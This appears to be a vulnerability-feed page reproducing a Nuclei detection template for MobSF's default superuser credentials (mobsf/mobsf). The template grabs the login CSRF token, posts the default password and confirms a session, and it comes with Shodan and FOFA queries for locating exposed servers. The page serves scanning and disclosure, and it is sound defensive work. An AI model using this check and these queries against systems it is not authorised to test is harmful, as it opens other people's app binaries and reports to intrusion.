mobsf-default-login: MobSF - Default Login

2026-11-16 PoC Public

Description

Mobile Security Framework (MobSF) 4.0.7 and later creates the superuser mobsf with the password mobsf in the official Docker image and in setup.sh. An attacker who logs in with these credentials can read uploaded mobile application binaries and analysis reports and start new scans.

Details

Severity
高危
Published
PoC
Public

PoC

id: mobsf-default-login

info:
  name: MobSF - Default Login
  author: s4e-io
  severity: high
  description: |
    Mobile Security Framework (MobSF) 4.0.7 and later creates the superuser mobsf with the password mobsf in the official Docker image and in setup.sh. An attacker who logs in with these credentials can read uploaded mobile application binaries and analysis reports and start new scans.
  reference:
    - https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/v4.6.4/README.md
    - https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/v4.6.4/Dockerfile
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    vendor: mobsf
    product: mobsf
    shodan-query: http.html:"Mobile Security Framework - MobSF"
    fofa-query: body="Mobile Security Framework - MobSF"
  tags: mobsf,default-login,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /login/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Mobile Security Framework - MobSF", "csrfmiddlewaretoken", "name=\"password\"")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrfmiddlewaretoken
        part: body
        group: 1
        regex:
          - 'name="csrfmiddlewaretoken" value="([^"]+)"'
        internal: true

  - raw:
      - |
        POST /login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/login/

        csrfmiddlewaretoken={{csrfmiddlewaretoken}}&username={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - mobsf
      password:
        - mobsf

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "sessionid=")'
          - 'regex("(?mi)^location:\\s*/\\s*$", header)'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - username + ":" + password
# digest: 490a00463044022029ba0295cd9fae7ffbcb05056a3d04a5ee3978be539143c6b98d8988700022580220523f525b70a67ea335a7a6383c363566fb8c90046750438a81dd923bf4ced8c3:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life